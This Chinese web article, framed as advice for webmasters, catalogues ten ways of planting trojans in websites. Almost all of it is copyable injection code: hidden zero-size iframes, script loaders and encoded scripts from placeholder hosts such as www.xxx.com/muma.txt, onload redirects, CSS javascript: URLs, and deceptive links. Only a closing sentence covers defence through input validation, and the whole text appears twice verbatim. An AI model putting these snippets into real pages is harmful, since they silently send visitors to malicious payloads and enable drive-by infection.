站长必知:黑客挂马的各种方法


很多站长的网站都被挂过木马,如果你的站从来没被挂过木马的话,恭喜你了

一般黑客挂马的代码都是   <iframe src=地址 width=0 height=0></iframe>这样的 其实还有很多挂马代码

下面全面介绍下

一:框架挂马

   <iframe src=地址 width=0 height=0></iframe>

二:js文件挂马
  
   首先将以下代码
   document.write("<iframe width='0' height='0' src='地址'></iframe>");
   保存为xxx.js,
   则JS挂马代码为
   <script language=javascript src=xxx.js></script>

三:js变形加密
  
   <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
   muma.txt可改成任意后缀

四:body挂马

<body onload="window.location='地址';"></body>

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML +    '<iframe src="http://www.xxx.com/muma.htm/"></iframe>';

六:css中挂马

body {
   background-image: url('javascript:document.write("<script          src=http://www.XXX.net/muma.js></script>")')}

七:JAJA挂马

<SCRIPT language=javascript>     
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装

<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

九:伪装调用:

   <frameset rows="444,0" cols="*">
   <frame src="打开网页" framborder="no" scrolling="auto" noresize    marginwidth="0"margingheight="0">
   <frame src="网马地址" frameborder="no" scrolling="no"   noresize    marginwidth="0"margingheight="0">
   </frameset>

十:高级欺骗

<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的

内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open

(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width

=800,height=600,left=10,top=10");
}
</SCRIPT>

实际上,挂木马的基本方法就是利用脚本程序发帖和提交信息的过滤不严格,使得我们可以将一些HTML或者脚本代码段作为文本提交,但是能被脚本解析.

从这个思想出发,可以利用正则表达的方法构造出更加巧妙的挂马方法.防止这种攻击的方法就是对所有的用户提交的数据在发布前必须经过类型检验

通过上面的知识,站长对碰到此类问题应该知道怎么清除了吧。

本文作者:

很多站长的网站都被挂过木马,如果你的站从来没被挂过木马的话,恭喜你了

一般黑客挂马的代码都是   <iframe src=地址 width=0 height=0></iframe>这样的 其实还有很多挂马代码

下面全面介绍下

一:框架挂马

   <iframe src=地址 width=0 height=0></iframe>

二:js文件挂马
  
   首先将以下代码
   document.write("<iframe width='0' height='0' src='地址'></iframe>");
   保存为xxx.js,
   则JS挂马代码为
   <script language=javascript src=xxx.js></script>

三:js变形加密
  
   <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
   muma.txt可改成任意后缀

四:body挂马

<body onload="window.location='地址';"></body>

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML +    '<iframe src="http://www.xxx.com/muma.htm/"></iframe>';

六:css中挂马

body {
   background-image: url('javascript:document.write("<script          src=http://www.XXX.net/muma.js></script>")')}

七:JAJA挂马

<SCRIPT language=javascript>     
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装

<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

九:伪装调用:

   <frameset rows="444,0" cols="*">
   <frame src="打开网页" framborder="no" scrolling="auto" noresize    marginwidth="0"margingheight="0">
   <frame src="网马地址" frameborder="no" scrolling="no"   noresize    marginwidth="0"margingheight="0">
   </frameset>

十:高级欺骗

<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的

内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open

(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width

=800,height=600,left=10,top=10");
}
</SCRIPT>

实际上,挂木马的基本方法就是利用脚本程序发帖和提交信息的过滤不严格,使得我们可以将一些HTML或者脚本代码段作为文本提交,但是能被脚本解析.

从这个思想出发,可以利用正则表达的方法构造出更加巧妙的挂马方法.防止这种攻击的方法就是对所有的用户提交的数据在发布前必须经过类型检验

通过上面的知识,站长对碰到此类问题应该知道怎么清除了吧。

本文作者:
« 
» 
快速导航

Copyright © 2016 phpStudy | 豫ICP备2021030365号-3